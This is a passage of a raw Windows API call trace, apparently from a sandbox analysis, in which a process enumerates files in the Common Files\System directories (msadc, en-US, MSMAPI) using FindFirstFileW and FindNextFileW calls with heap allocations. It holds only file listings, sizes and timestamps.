ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0235.779] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0235.779] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0235.779] GetProcessHeap () returned 0x560000 [0235.779] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0235.786] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0235.786] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.787] GetProcessHeap () returned 0x560000 [0235.787] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0235.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0235.791] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.791] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0235.792] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0235.792] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0235.792] GetProcessHeap () returned 0x560000 [0235.792] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0235.792] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0235.792] GetProcessHeap () returned 0x560000 [0235.792] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0235.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0235.869] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.869] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0235.870] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0235.870] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.870] GetProcessHeap () returned 0x560000 [0235.870] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0235.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0235.889] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.889] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0235.890] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0235.890] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0235.890] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0235.890] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0235.891] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0235.891] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0235.891] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0235.896] GetProcessHeap () returned 0x560000 [0235.897] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0235.897] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0235.898] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0235.898] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0235.898] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0235.898] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0235.899] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0235.899] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0235.899] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0235.899] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0235.900] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0235.900] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0235.900] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0235.901] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0235.901] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0235.901] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0235.903] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0235.903] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0235.903] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0235.904] GetProcessHeap () returned 0x560000 [0235.904] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0235.907] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0235.908] GetProcessHeap () returned 0x560000 [0235.908] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0235.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0235.955] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.955] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.955] GetProcessHeap () returned 0x560000 [0235.955] RtlAllocateHeap (HeapHandle=0x560000, 